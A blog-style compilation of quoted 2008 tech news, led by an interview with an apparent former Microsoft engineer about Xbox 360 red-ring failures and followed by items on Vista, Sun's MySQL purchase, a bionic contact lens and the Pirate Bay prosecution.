Of course. Infant mortality, which is a weakened mechanical "thing" like a solder joint with a void in it, are exercised to failure by cyclic stress. The number of cycles and the amplitude of temperature change from low to high determine how quickly it will fail. Certain games will consume more bandwidth on the GPU, which has the most substandard thermal solution on the mother board, making it a lot hotter, warping the mobo and flexing the solder joints. Weak joints fail quickly. The better the game, the more often it will be played, again accelerating failures.

Q: Let's go over some of the rumored reasons RROD. Could you tell how close each theory is?
Over heating CPU/GPU due to the lead free solder?
They don't overheat due to PB Free. They over heat due to too much power dissipated in too small of an area, w/o a sufficient thermal management design to take the heat away from the junction of the transistors on the chips, the packages themselves, and the mobo. And the over heating is on the GPU. When the CPU heatsink is applied right, it does not over heat.

Defective parts due to overseas subcontractors?
Some defective parts, like BGAs where the solder balls are not of sufficient and uniform size, so they don't solder down evenly, or the substrate is warped, causing some joints to have insufficient solder. Bad chips from marginal or under tested wafers. Others are deficient processes, like misaligning the solder paste to the circuit board, or same on the parts, or not having the thermal profile right in the reflow oven during soldering. Manufacturers new to PB free tend to err on the low temp side thinking they are saving the parts reliability wise from a large thermal load. What they are really doing is not reflowing the PB free solder enough to make a good joint. PB free solder is non eutectic, which means the different metals in the solder alloy melt at different temperatures, unlike leaded solder where everything melts at the same temperature. If you under heat it, it won't bond well to the board or parts, won't form a good joint, leaving voids and other defects in the joints that lead to early failure under normal circumstances. But when you add the extraordinary heat and mother board warpage that goes with it, well you get a catastrophic failure rate like we've all seen on 360.

Defective or insufficient heat sinks?
A heat sink like the one they eventually put on the GPU would have helped a lot, since it stops the GPU heat from warping the mobo and breaking the solder joints. The CPU heatsink was fine. I've heard the memory was running hot too, and contributing to these failures. Not sure if they were heated by contact with the GPU heatsink, proximity on the mother board, or both. But with the new GPU heatsink the failure rate probably would have still been double digits overall. Way too high still.

Corrupt BIOS or OS bricking the system?
Maybe. But haven't heard of this outside of the periodic dash updates bricking boxes.

Is humidity a factor? Are Xbox 360s in Florida just as likely as a 360 in Seattle?
Humidity is a co-factor with temperature for many failure modes. The hotter the room ambient conditions, the more likely a 360 is to fail, all else being equal. Same for humidity.

Is keeping the 360 horizontal more safe than keeping it vertical?
I don't think so. Vertical exposes more surface area and volume to heat exchange with cooler room air. And I think opens more vent holes. Just don't let it fall over.

System wide design problems due to a production schedule that shipped a full year before the competition's systems?
Yes. It just wasn't mature enough. Too many design defects, lack of design margins, immature test processes and equipment, insufficient PB free manufacturing expertise at partner manufacturers who made the mother board.

Or is there no one specific problem but a bunch of possible problem for each console?
Yes. See above.

Q: How have IBM and ATI dealt with the Xbox 360 problems?
Sorry, I don't know. But they were contracted to design and help launch the chips. After that, MS owned the design and tooling. So they didn't have to worry about it. Although I'm sure they were pulled in.

Q: Just what is up with the RROD "Towel Trick" fix?
My best guess is that it somewhat reflows the solder joints on the GPU while it's under a high compressive load from the heatsink clip, causing any open solder joints to make contact again. I don't think it's going to fully reflow them because 1) PB free solder melts above 300 degrees C, and if that happened the GPU would be pulled flat to the mother board with a big puddle of solder under it shorting everything out.

Q: One of the problems that I have run into my 360 is that the disk tray will fail to eject and not let me swap disks. Have any ideas?

LOL. Reboot and try it again! Sorry, couldn't help myself. You didn't give me enough info. How often does it happen? Notice any conditions that tend to make it happen more repeatably (after long play, unit standing up, right after a previous eject, etc.)? Can you recover and get the tray open at some other time after it fails? What did you have to do? It might be as simple as a bad connection somewhere in the circuit for the eject button. Usually I'd recommend percussive maintenance (hit it) but that would probably damage the disc and could damage the console. So don't. Maybe the disc is jammed in there. Does the tray try to come out and then stop? Maybe there is a misalignment with the box case. See if you can find a place where it might be catching. If you can't find the problem, bring it with you when we meet and I'll look at it.

Q: What do you think of the Karla Starr of the Seattle Weekly's article about video game hardware testing?
I read that when it came out. It's pretty accurate. I've been to VMC a few times where that testing is done. It's kinda brute force last stage game qual testing, after a lot of other testing has been done at the developer and MS. Funny, but you can only automate so much. And then you need to have people touch it and use it to find the unlikely bugs.

Q: How much more reliable are the current generation of Xbox 360 than the previous designs? Original Xenon, Zypher and Falcon.
I've heard that the failure rates for the current design is sub 10%. Much much better, but still too high imoh. And those designs haven't seen much life yet, so no one knows if that failure rate will hold.

Q: Do you think that the "Falcon" Xbox 360 design is the final Xbox 360 hardware iteration or will they come out with a redesigned Xbox 360?
They will come out with new hardware at least once a year until they retire this design. That's the console financial model. Keep the features and functionality the same, reduce cost and price, and improve quality if needed. The 360 roadmap always called for SI die shrink and integration, since that's where most of the cost is. Right now they are working to get the GPU and CPU on the same BGA package for the next mobo. Could lower cost, heat, number of heat sinks, mother board size (maybe squeeze the PS inside too), etc. Too bad that they screwed up and forgot to retain the JTAG IEEE 1149 test functionality, at least what little they had. Now it will be almost impossible for them to tell if that chip is bad if the unit won't boot in the factory. So they will have to trouble shoot by replacing the most expensive part in the system blindly. They keep repeating bad decisions, and everyone is afraid to push issues considered to be bad news.

Q: Do you think that third party fans like the Nyko Intercooler will make things worse? Are they snake oil? I personally have plastic Tiki figures around my Xbox to ward off any evil spirits and so far they have done better in protecting than some of the fan coolers that you see at Gamestop.
I don't know, I'd have to test them. But I'll give you some thoughts. In order for those fans to do any good, they would have to increase the volume of air coming through the box w/o adding heat. I think those things are powered through the USB hub, which is specced at 5 volts, 1/2 an amp. So very little heat added. But the piggybacked fan would have to run at a higher volume that the box fan in order to unload it and make it spin faster, pulling more air over the heatsinks. Would be an easy test to run. Just tape a dry cleaning bag to the back with and w/o the extra fan and time how long to fill. Or if you have access to one, an anemometer is a test instrument that measures airflow and would give a more accurate reading.
Note : the Nyko Intercoolers draws power from the 360 power-source and it looks like surefire way to potentially make things worse.

Q: How many times does an Xbox 360 unit have to be sent in and repaired before they will replace it with a completely new unit?
That's not how it works. You send in a broken box, you get back a working box (hopefully). So there is a rotating stock of the original units that get repaired and returned to service. Plus, they keep finding these cashes of launch units here and there and using them too. Didn't you hear during the holidays that bundles were found with units made in 06? Those were pulled back from the retail channel last spring when the new heatsink was done, and had the new heatsink placed on them and then put into the shipping flow like any other box.

Back to the rotating inventory of launch units. You risk getting one of those back until the last one is out of the system. I imagine the next big outrage will be when some of the folks who waited till Falcon to buy a console for reliability reasons, and has to send it in for service, gets a Xenon back! Even when all of the Xenons are gone, you will likely get a newer gen repaired one back rather than new. Unless the fail rate gets so low there are none available. I'm holding my breath...

Q: How could the wireless racing wheel have overheating problems with the AC adapter? I can't think of any external video game accessory that had similar problems.
I don't know. I heard that one was an over reaction, and no test could have found it. That happens sometimes. A supplier changes something, or it happens so rarely that it can't be seen in any reasonable or even possible sample size. Like Xbox 1's catching on fire. That happened 25 times out of 25 million units. How can you test for that unless you know exactly what causes it? If you know, you design it out.

Q: The original Xbox had a recall of some of the power supply cords. Did that affect the design of the 360?
Safety became a paramount concern. We realized that we could meet all regulations and still have problems. So extra effort was made to have zero safety defects. See the comment about 25 fires from this, above.

Q: There has seemed to be an executive exodus from the top of the Xbox project. Seamus Blackley, Peter Moore, James Allard. Do you think that there something that has been causing the "fathers of Xbox" to want to move on?
Seamus left a long time ago, and I think there was some conflict so that it wasn't entirely voluntary. J Allard left to go do Zune (along with Greg Gibson), and is a big part of the team who owns the strategic vision of MS E&D under Robbie Bach. Peter was a surprise. He sure left in a hurry, and not the way top people usually go, which is usually with a longer notice. And right after the warranty extension announcement. I don't know if they are related, but it looks like they could be in some way. I noticed you didn't mention Ed Fries, who left in 04. I heard he landed at Sony, but can't verify. But I don't see the senior team wanting to move or moving. Very few people who leave do so voluntarily. Note: I did forget to mention Ed Fries.

Q: Do you see much of a long term future for Microsoft?s Entertainment & Devices Division? I saw that they just got a new campus and troubled projects rarely get new expensive buildings. Do you see that division ever turning a profit? So what do you think their overall hardware strategy is? Do you think that they will still be selling videogame systems and music players in five years?
Xbox's mission statement is to preserve the Windows monopoly and extend it into the living room, as a media extender for a Media Center PC, along with a host of other MS and other company's hardware devices that fit into a digital entertainment lifestyle. MS has the bucks to keep losing money on Xbox for a long time, maybe forever. They've already lost around 6 billion dollars. How are they ever going to make that back on Xbox? They can't. Maybe they don't think they have to. That amount might be just 1 or 2 quarters of profit for an integrated hw/sw portfolio, with windows, PC Hardware, Xbox, Zune, TV, Movies, ads, etc., all providing some revenue stream to MS. You should check out their jobs site sometime. You can learn a lot about what they are doing. And their patent applications. They have a team working on making PCs now. That voice activated thing they did for Ford? Where do you think you will see that next? MS devices and sw is my guess.

That new H&E campus says that MS is getting into consumer electronics in a big way, and you can bet they are working to refine a strategy of integrating their offerings into a digital lifestyle universe, with most everything covered that we could want to stay productive, connected and entertained. Not piece meal, like some companies seem to be approaching electronics. Look at Apple. They are doing great, keep rolling out innovative stuff, but what's their vision and strategy to implement? What's their roadmap and timeline? How does it all go together, work together? I can't tell from what they say or do. But I can see what MS is trying to do. They are just getting started I think. So yes, they will still be doing this in 5 years. But they really need to mature their business and change some blood in there. Hire some key people who have experience running large hardware companies who can put the right organization, process and infrastructure in place. If they don't, they may continue to have quality and operational issues that will really dampen their progress. And with all of the external challenges in consumer markets, even MS can't afford to be it's own enemy for too much longer.

Q: Do you think that there is going to be a third generation Xbox?
I understand they are working on it right now. But don't look for it any time soon. It's years away. News flash: Sony and Nintendo are working on their next boxes in some way too.

Q: So do you play games?
Just a little. I lack the hardware abstraction layer in my brain that allows me to translate body motion into controller commands. If I am playing a racing game and I want to turn right I tend to turn the controller to the right. Just like the Wii. Funny thing. In the middle of '03 I tried to convince our director of "innovation" that we needed to do motion control, simple and intuitive controllers, and focus on family oriented and just plain fun content. Well before the Wii came out. He completely disregarded it. Oh well. I bet they wish they had that decision back as a do over.
[/QUOTE]

Source: http://blog.seattlepi.nwsource.com/

[QUOTE]
Recently, Xbox.com posted a letter from Marc Whitten, General Manager of Xbox LIVE, thanking subscribers for their patience with the service. We’ve implemented several improvements to the service, to help ensure ongoing reliability and performance.  As the popularity of Xbox LIVE expands, we’ll continue to closely monitor the service and make adjustments.  As always, if you are having any problems, please contact your local support (1-800-4-MYXBOX in North America) so that we can assist you. 

Marc announced that all Xbox LIVE members (Gold and Silver) around the world would have access to a full Xbox LIVE Arcade game to download free of charge. We’re pleased to announce that beginning next Wednesday, 2:00 a.m. PST through Sunday, 11:59 p.m. PST, Xbox LIVE members worldwide can download the full version of the recent award-winning Xbox LIVE Arcade game, Undertow.

Developed by Chair Entertainment Group, Undertow is one of the highest-rated and best looking games available on Arcade.  Undertow redefines aquatic based shooters through a mix of high-definition graphics, intuitive controls and multiple modes of game play action. The game features a full story driven-single player campaign, on and offline co-op, and multiplayer for 2-16 players over Xbox LIVE for Gold subscribers. Players battle for control of the oceans as one of three selectable races, each with four unique, upgradeable units. "Undertow" is available worldwide (normally 800 Microsoft Points) and is rated E10+.

For more details on “Undertow,” please visit http://www.xbox.com/en-US/games/u/undertowxboxlivearcade/
[/QUOTE]

Found on: http://gamerscoreblog.com/

[QUOTE]
We all know product placement in science-fiction television shows can sometimes get out of hand. But today’s episode of “Terminator: The Sarah Connor Chronicles” has left me puzzled over what might have been a placement for Windows Vista. I say “might have been” because it is definitely not the Windows Vista we’ve all seen and some love to hate. It was like if they shot the scene inside Microsoft’s Windows development labs. I didn’t know John Connor was such a beta addict.

Rafael Rivera has put a gallery of high-definition screencaps, here are some of the most interesting ones in order they appear in the episode. For those of you playing at home, it begins at about 15min43sec and lasts about 90 seconds.

Without giving too much away, John Connor (lead character from the Terminator franchise) is walking into a computer store inside a shopping mall, having just time traveled from 1999 to 2007. Fortunately for John, he missed the release of Windows Millennium Edition. Note how Solitaire is clearly the best way to test out a computer before you purchase it. Media Center running on the PC on the top shelf.

John sees Windows Vista for the first time, falls in love. Woman with “1337″ bag in the background.

Having time traveled also means John missed the introduction of the Apple iPod, AppleTV and new MacBooks. But like the loyal Microsoft fanboy he is, he doesn’t pay much attention to them.

John starts playing with Dell laptop, which happens to be connected to the huge LCD TV behind him.

John plays with his first Sidebar gadget, which happens to be a system performance multi-monitor of some sort displaying eight graphs. Note how the Sidebar has a white translucent background with a border (instead of the black fade in Vista RTM). The other gadgets from top to bottom include a hard drive monitor, the default CPU meter, a prototype Windows Media Player gadget from 2005, a chess piece and a quick launch tile.

Next he clicks on the Chess icon and a Chess game application fades in from the right. It looks very different to the one in Windows Vista - darker shadows, more realistic chess pieces and board and it also has a space background with stars and galaxies.

Somehow then John opens the control panel, or if you can still call it that. The window is filled with all the icons from the Vista classic control panel but without text labels. The background is translucent with a black overlay. Norton LiveUpdate icon also makes a cameo appearance.

John then discovers a search box with an Explorer style back and forward button. The default search engine is LeSearch.com. Watch out Google, the French are coming.

Naturally John starts searching about his past and finds articles about his “death”. What appears to be a browser window appears in the background. It shows only a back and forward button, an address bar and a standard toolbar.

Shortly after a sales person disturb John and tells him that he was showing everyone what he was looking at on the big screen. Offers to help him clear the browser history. Somehow she opens a menu for Internet Explorer in the taskbar, which seems to have some of the options you would find inside the application’s toolbar.

In the dialog that opens, she clicks on “Clear History”. Note how the buttons are styled like Windows XP buttons, even though this is inside Windows Vista with the glass frame and Aurora background. Scene ends.

Whilst it is true custom operating systems in TV shows and movies are nothing more than just optimizing what appears on screen so viewers can follow along more easily, but this seems a little more elaborate than most. I mean that Windows Media Player gadget was never released to the public, so how did that get there? I can’t help thinking Microsoft knew about this production either through licensing or a product placement deal, in which case, what is this?
[/QUOTE]

Found on: http://www.istartedsomething.com/

[QUOTE]
Movie characters from the Terminator to the Bionic Woman use bionic eyes to zoom in on far-off scenes, have useful facts pop into their field of view, or create virtual crosshairs. Off the screen, virtual displays have been proposed for more practical purposes -- visual aids to help vision-impaired people, holographic driving control panels and even as a way to surf the Web on the go.

Contact lenses with metal connectors for electronic circuits were safely worn by rabbits in lab tests.

The device to make this happen may be familiar. Engineers at the University of Washington have for the first time used manufacturing techniques at microscopic scales to combine a flexible, biologically safe contact lens with an imprinted electronic circuit and lights.

"Looking through a completed lens, you would see what the display is generating superimposed on the world outside," said Babak Parviz, a UW assistant professor of electrical engineering. "This is a very small step toward that goal, but I think it's extremely promising." The results were presented today at the Institute of Electrical and Electronics Engineers' international conference on Micro Electro Mechanical Systems by Harvey Ho, a former graduate student of Parviz's now working at Sandia National Laboratories in Livermore, Calif. Other co-authors are Ehsan Saeedi and Samuel Kim in the UW's electrical engineering department and Tueng Shen in the UW Medical Center's ophthalmology department.

There are many possible uses for virtual displays. Drivers or pilots could see a vehicle's speed projected onto the windshield. Video-game companies could use the contact lenses to completely immerse players in a virtual world without restricting their range of motion. And for communications, people on the go could surf the Internet on a midair virtual display screen that only they would be able to see.

"People may find all sorts of applications for it that we have not thought about. Our goal is to demonstrate the basic technology and make sure it works and that it's safe," said Parviz, who heads a multi-disciplinary UW group that is developing electronics for contact lenses.

A researcher holds one of the completed lenses.

The prototype device contains an electric circuit as well as red light-emitting diodes for a display, though it does not yet light up. The lenses were tested on rabbits for up to 20 minutes and the animals showed no adverse effects.

Ideally, installing or removing the bionic eye would be as easy as popping a contact lens in or out, and once installed the wearer would barely know the gadget was there, Parviz said.

Building the lenses was a challenge because materials that are safe for use in the body, such as the flexible organic materials used in contact lenses, are delicate. Manufacturing electrical circuits, however, involves inorganic materials, scorching temperatures and toxic chemicals. Researchers built the circuits from layers of metal only a few nanometers thick, about one thousandth the width of a human hair, and constructed light-emitting diodes one third of a millimeter across. They then sprinkled the grayish powder of electrical components onto a sheet of flexible plastic. The shape of each tiny component dictates which piece it can attach to, a microfabrication technique known as self-assembly. Capillary forces -- the same type of forces that make water move up a plant's roots, and that cause the edge of a glass of water to curve upward -- pull the pieces into position.

The prototype contact lens does not correct the wearer's vision, but the technique could be used on a corrective lens, Parviz said. And all the gadgetry won't obstruct a person's view.

"There is a large area outside of the transparent part of the eye that we can use for placing instrumentation," Parviz said. Future improvements will add wireless communication to and from the lens. The researchers hope to power the whole system using a combination of radio-frequency power and solar cells placed on the lens, Parviz said.

A full-fledged display won't be available for a while, but a version that has a basic display with just a few pixels could be operational "fairly quickly," according to Parviz.

The research was funded by the National Science Foundation and a Technology Gap Innovation Fund from the University of Washington.
[/QUOTE]

Source: http://uwnews.washington.edu/

[QUOTE]
Adoption of Microsoft's Windows Vista operating system is starting to pick up among businesses in the U.S.

Just under half--48 percent--of IT decision makers in the U.S. are using or evaluating Vista, according to a poll by IT services firm CDW.

CDW's third Windows Vista tracking poll since October 2006, this survey shows a 19 percentage-point increase in adoption since February 2007.

Vista migration is also increasing, with 35 percent of those surveyed saying they are in the process of moving to Vista. Just 12 percent said this last February. Thirteen percent of these migrations are complete and another third are due to be finished by May 2008.

CDW claimed this shows Microsoft's latest operating system is now seen as a more viable option in the mainstream business market.

Of those still testing and migrating to Vista, almost half said its performance and key features are "above expectations," with the top-rated features being security, performance, productivity, search, and updates.

Mark Gambill, CDW vice president, said the past year was one of "adaptations and learning for Microsoft, industry partners, and adopters alike."

Gambill added that, since people have begun to understand the benefits of the operating system, there has been a "steady move towards adoption."

The CDW survey also found an increase in Microsoft Office 2007 adoption, with 24 percent of businesses saying they'd made the move, compared to just 6 percent in the last survey.

The poll was conducted by Walker Information and covered 772 IT decision makers.
[/QUOTE]

Source: http://www.news.com/

[QUOTE]

Sun Microsystems is taking the plunge into the database market with the purchase of open source database developer MySQL for $1 billion ($800 million in cash in exchange for all MySQL stock and assumption of approximately $200 million in options).

With the move, announced Wednesday, Sun takes a big leap into the $15 billion database market and pits it against the likes of Microsoft, IBM and Oracle. MySQL (all resources) also gives Sun entry to some customers that may be interested in buying more equipment and software. MySQL counts Facebook, Google, Nokia and Baidu as customers.

During a conference call this morning Sun and MySQL executives sang kumbaya. On the call, Sun CEO Jonathan Schwartz called the MySQL deal the “most important acquisition in history of company” and added that the database firm will have “a central role” as Sun rolls out its open source strategy. Sun is in the process rolling up a complete open source stack, becoming the largest open source organization of world.

Here’s what makes MySQL interesting to Sun. About 20 percent of MySQL deployments run on Solaris, according to Sun estimates outlined on a conference call. Seventy five percent of MySQL deployments are not on Sun hardware. That gives Sun an opportunity to bundle hardware software and services. Although Schwartz noted that the software and hardware business operate separately MySQL could give Sun some leverage as customers look to consolidate vendors.

Sun (all resources) can also distribute MySQL through its channel and OEM partnerships and create various bundles. The overarching goal is to give MySQL more “commercial appeal” and boost adoption of open source software in the enterprise.

In a statement, Schwartz said the MySQL purchase puts his company at “the center of the global Web economy” since the open source database provider is entrenched at Web giants. MySQL is included in that platform that includes Linux, Apache and PHP/Perl commonly known as LAMP.

Schwartz followed up on his blog:

We’re putting a billion dollars behind the M in LAMP. If you’re an industry insider, you’ll know what that means - we’re acquiring MySQL AB, the company behind MySQL, the world’s most popular open source database.

You’ll recall I wrote about a customer event a few weeks ago, at which some of the world’s most important web companies talked to us about their technology challenges. Simultaneously, we gathered together some of the largest IT shops and their CIO’s, and spent the same two days (in adjoining rooms) listening to their views and directions.

Both sets of customers confirmed what we’ve known for years - that MySQL is by far the most popular platform on which modern developers are creating network services.

One big question is what Sun does next to build out its stack of open source software and other applications covering middleware, storage and virtualization. Sun’s software lineup now includes Java, MySQL, OpenSolaris and GlassFish.

The company can now pair MySQL with Solaris and could fill out its roster with other targeted acquisitions. A large scale merger with a company like Red Hat is probably a non-starter though given Sun’s infatuation with Solaris.

Sun plans to integrate MySQL into its software, sales and service groups and MySQL CEO Marten Mickos will stay after the acquisition.

Mickos on the conference call added that the deal makes “wonderful sense” because the combined company can offer a diversified software stack to multiple platforms.

In a statement Mickos said, “Sun’s culture and business model complements MySQL’s own by sharing the same ideals that we have had since our foundation — software freedom, online innovation and community and partner participation.”

Marten Mickos, MySQL CEO, joins the Sun open source soul train and managed a healthy exit for his company’s founders and investors, which includes Benchmark Capital, Institutional Venture Partners, Index Ventures, Holtron Ventures, Intel Capital, Presidio STX, Red Hat, Scope Capital and various angels.

Other questions about the deal remain. Among them:

How will the MySQL community handle being part of Sun? Sun is a member of the open source community, but has been controversial and viewed as late to the game on taking Java to the masses. Sun has contributed a lot, but folks don’t like change. Sun plans to optimize and bundle MySQL with its software and hardware, but if this is viewed as a sales pitch there will be issues. One talkbacker in this post is already skeptical. I’m curious to see the community reaction here.

Schwartz wrote:

MySQL is already the performance leader on a variety of benchmarks - we’ll make performance leadership the default for every application we can find (and on every vendor’s hardware platforms, not just Sun’s - and on Linux, Solaris, Windows, all). For the technically oriented, Falcon will absolutely sing on Niagara… talk about a match made in heaven.

Can Sun bridge the enterprise-startup divide with MySQL? Schwartz on his blog noted the following:

CTO’s at startups and web companies disallow the usage of products that aren’t free and open source. They need and want access to source code to enable optimization and rapid problem resolution (although they’re happy to pay for support if they see value). Alternatively, more traditional CIO’s disallow the usage of products that aren’t backed by commercial support relationships - they’re more comfortable relying on vendors like Sun to manage global, mission critical infrastructure.

That’s an excellent point and presents a conundrum. If Sun makes MySQL more enterprise acceptable does that diminish its mojo with startups? Does it matter?

Mickos said the enterprise-startup bridge is a “big opportunity” and Sun can capitalize on because the MySQL roadmap will be sped up as the two companies focus on scale, performance and integration. “We stand out from most databases,” explained Mickos. “MySQL was developed for online world. Our relevance grows in the enterprise as they shift to Web-based architectures.”

Separately, Sun said it expects to report fiscal second quarter revenue of $3.6 billion and earnings of 28 cents to 32 cents a share. Wall Street is expecting earnings of 29 cents a share on sales of $3.58 billion.

[/QUTOE]

Source: http://blogs.zdnet.com/

[QUOTE]

After a productive and valuable conversation with my publisher, Random House, they've agreed to permit The Future of Ideas to be licensed under a Creative Commons Attribution-Noncommercial license. You can download the book for free here, or above.

This means all four of my books are now CC licensed. Code (v1) was licensed under a BY-SA license; so too, Code (v2). And Free Culture and now The Future of Ideas are licensed under BY-NC licenses.

I am particularly glad that The Future of Ideas is now freely licensed. That book hit the stores 2 weeks after September 11. I'm glad it now has a chance to flow a bit more freely.

Thanks to Random House (and Basic Books, and Penguin) for being open to this experiment. I hope we'll have some useful data to report about its effect.
[/QUOTE]

Source: lessig.org/blog/

[QUOTE]

Microsoft will end OEM and shrink-wrapped sales of Windows XP on June 30, 2008, forcing users to shift to Vista. (System builders, meaning those who do white-box PCs, can sell XP through December 31.) Don't let that happen!

Millions of us have grown comfortable with XP and don't see a need to change to Vista. It's like having a comfortable apartment that you've enjoyed coming home to for years, only to get an eviction notice. The thought of moving to a new place -- even with the stainless steel appliances, granite countertops, and maple cabinets (or is cherry in this year?) -- just doesn't sit right. Maybe it'll be more modern, but it will also cost more and likely not be as good a fit. And you don't have any other reason to move.

That's exactly the conclusion people have come to with Vista. For most of us, there's really no reason to move to it -- yet we don't have a choice. When that strong desire to stick with XP became obvious in spring 2007, major computer makers such as Dell and Hewlett-Packard quietly reintroduced new XP-based systems (but just to business customers, so as not to offend Microsoft). Come June 30, however, even that option goes away.

So what to do? Let Microsoft decide where your personal and enterprise software "lives"? Or send a loud and clear message that you don't want to move?

We're going for the loud-and-clear option. Join us, and tell Microsoft that you want to keep XP available indefinitely. Not for another six months or a year but indefinitely.

And ask your friends and colleagues to join in, too. Just point them to SaveXP.com for a quick link to this page. And if you'd like to publish our countdown animation on your Web site to help promote this petition, e-mail Executive Editor Galen Gruman for the code snippet.

Don't think Microsoft will listen? Consider this: Although Microsoft denies that anything is wrong with Vista or that most people don't want it, the company has already postponed XP's demise by six months. That's a start, but it's not good enough.

Microsoft doesn't have to admit failure; it can just say it will keep XP available indefinitely due to customer demand. It can take that opportunity to try again with a better Vista, or just move on to the next version that maybe this time we'll all actually want.

There is a precedent for that, too: In many respects, Vista is like the Windows Millennium Edition that was meant to replace Windows 98 in 2000 but caused more trouble than it was worth. At that time, Windows 2000 was promising but didn't support a lot of hardware, so users were stuck between two bad choices. Without admitting Millennium's failure, Microsoft quietly put Windows 98 back on the market until the fixed version of Windows 2000 (SP1) was available. Microsoft needs to do something like that again today.

Make your voice heard to Microsoft. Sign our petition to save XP today. We will present it to Microsoft.
[/QUOTE]

Source: http://weblog.infoworld.com

A really funny Star Wars Parody from Adult Swim.

Adult Swim, usually stylized [adult swim], is an adult-oriented television network that shares channel space with Cartoon Network in the United States.^[1] It features many animated shows, including original programming, syndicated shows, and Japanese anime, generally with minimal or no editing for content. The shows are geared toward an older adult audience over 18, in contrast to the child and pre-teen oriented daytime programming on Cartoon Network. [from Wikipedia]

[QUOTE]
Okay, so I’m as big a Star Wars fan as the next guy, but this really threw me. This YouTube video shows a “lost” beginning to the original Star Wars movie, and it’s terrible. Apparently these scenes were cut due to “time restrictions,” and boy am I glad. This is one of the best examples I’ve seen of how editing makes a movie better. (Note: this apparently surfaced over a year ago, but the news has just reached headquarters, so to speak.)

Watch the opening scenes, if you dare…

[/QUOTE]

Found on: http://www.mentalfloss.com

[QUOTE]
ZURICH (Reuters) - Shares in Swiss-based computer peripherals maker Logitech International SA rose as much as 12 percent on Thursday based on speculation Microsoft Corp would launch a takeover bid, traders said.

Analysts dismissed rumors of an $8 billion takeover bid as unlikely and Logitech board member Daniel Borel, the company's largest shareholder, said he had no reason to sell his 6 percent stake. He declined to comment on the speculation.

Such a deal would be Microsoft's biggest ever and while the world's largest software maker has recently shown a willingness to do bigger deals, it has focused most of its acquisitions on higher-margin Web and business software.

"I am a co-founder of Logitech. Would you be willing to sell your child?" Borel told Reuters in an interview.

"I have no reason to sell. But I will not be the one to decide. I own only some 6 percent so I will neither enable nor prevent a sale of Logitech."

Traders said rumors circulated that Logitech, with a market capitalization of about 7 billion Swiss francs ($6.3 billion), would receive a takeover bid at 48 francs per share from Microsoft.

This would be a premium of 38 percent to Wednesday's 34.80-franc closing price and value it at 9.16 billion francs.

"Rumors are rumors. I can't make any specific comment on them," Borel said. 

Continued...
[/QUOTE]

Source: http://www.reuters.com

[QUOTE]
One of Hollywood's biggest foes is about to be called on the carpet. After years of steering Web surfers to free entertainment, the organizers of a massive directory of pirated movies, music and software in Sweden could finally face serious legal repercussions.

Based on evidence collected in a 2006 raid on the offices of The Pirate Bay, Swedish prosecutors say that by the end of January they expect to charge the individuals who operate the file-sharing service with conspiracy to breach copyrights.

While Sweden might seem to be an unlikely harbor for pirates of any kind, weak copyright laws, lax enforcement, high broadband penetration and general antipathy toward the entertainment industry have made it a file-sharing free-for-all. Last year, 43% of the people participating in a survey by Sweden's biggest phone company said they planned to download music during the year. A pro-piracy political party has more members than the Greens.

The prosecutors' move comes after years of complaints from Hollywood executives and U.S. government officials. U.S. Embassy officials have described Sweden as home to the "worst Internet piracy in the world," and the Motion Picture Association of America has been fighting to shutter Pirate Bay's site for years.

Sweden, which enjoys some of the world's fastest Internet speeds, strengthened its laws in 2005 to make online theft of movies a crime. But its efforts to crack down have had little success so far. In 2006, shortly after Swedish Justice Department representatives visiting Washington received a stern lecture from U.S. officials about the alleged damage being caused by Pirate Bay, Swedish police raided the site's offices and shut it down.

Although the site was back up within days, the raid inspired hundreds of pro-piracy citizens to take to the streets in protest and led to allegations that the U.S. was interfering in Swedish affairs. Pirate Bay won cult status among file sharers globally, and many Swedes continue to revere its founders as plucky upstarts who dared to take on Hollywood.

Underscoring Sweden's pro-piracy attitude, seven parliamentarians from the ruling conservative party called in a newspaper opinion article last month for the decriminalization of file sharing. "It has become a big part of people's lives," Karl Sigfrid, one of the politicians, said in an interview. "I believe it is impossible to really stop this."

There's no doubt millions of people across the world turn to Pirate Bay whenever they want a free movie, game or piece of software. Its reach is so vast that the family of Ron Goldman has filed suit against the site, claiming in court documents to have lost at least $150,000 because of Pirate Bay. The Goldman family is supposed to receive the proceeds from O.J. Simpson's book "If I Did It," but the text is available free using the directory at ThePirateBay.org.

The trial will probably grapple with complex technical issues. One question is the legality of BitTorrent, a computer program that breaks up large files like movies into small pieces so they can be transferred quickly over the Internet.

Although The Pirate Bay maintains an index of BitTorrent files, the files themselves are stored on the computers of other people around the world. Because the copyright files aren't stored on Pirate Bay computers, the site says it isn't breaking the law. Police, prosecutors and entertainment-industry lawyers say the distinction is bogus. The MPAA estimates The Pirate Bay's Web site generates $60,000 a month in advertising revenue. Pirate Bay spokesman Peter Sunde says he isn't sure about exact revenue numbers, but he maintains that Pirate Bay has never made a profit, in part because of the high cost of maintaining servers around the world.

For all the resources the entertainment industry, the U.S. and Sweden have put into the case, the outcome is far from certain. Even if Sweden wins convictions and jail time, the site won't be shut down immediately. Separate legal action would be required to accomplish that, and it might be beyond the reach of Swedish authorities because Pirate Bay says its computer servers have been moved to other countries. "The suspects hide their information all around the world, and I am pretty sure even if they are convicted that wouldn't stop the service," says Swedish prosecutor Hakan Roswall.

The Pirate Bay's operators say they are expecting the charges and will prepare their defense with the aid of government-funded lawyers for a trial later this year. "We're not worried," says Fredrik Neij, a Pirate Bay co-founder. "We think the law is on our side." The movie industry, which in Europe typically focuses on public-relations campaigns to sway public opinion rather than the lawsuits it uses in the U.S., is hoping that details will emerge to turn the tide against file sharers in Sweden.

That is a tall order given the site's local popularity. For example, the heir to the Wasabröd fortune -- a popular cracker-like snack in Sweden -- has supported the group in the past, allowing a phone company he owned to provide the site with bandwidth and server space in its early days.

The public delights in the group's attitude toward anybody who sends it cease-and-desist letters, which are often published on the Web site along with Pirate Bay's cheeky replies. Some 157,000 movies, songs and other files can be found on the site, according to the MPAA, and 1.5 million people visit it a day, Mr. Neij says. The most popular movie on the site: Will Smith's "I Am Legend."

Rather than operate underground, The Pirate Bay's operators court publicity. Last year, they gained control of an Internet domain name used by the International Federation of Phonographic Industries, a music trade group that is essentially the international version of the Recording Industry Association of America. The site, www.ifpi.com, was redubbed the International Federation of Pirate Interests. The London-based IFPI got the domain name back last month.

The Pirate Bay's operators say they have been followed in recent weeks by camera-toting private detectives in foreign-registered cars. In September, they filed a police complaint claiming that MediaDefender, a U.S. counterpiracy company, had been hired by several Hollywood studios and music companies to hack into their site and shut it down.

MediaDefender, which itself was hacked by a shadowy group last year, denies the accusation. "We're a reputable public company," says Chief Executive Randy Saaf. "We're not going to be doing hacking. That's silly."

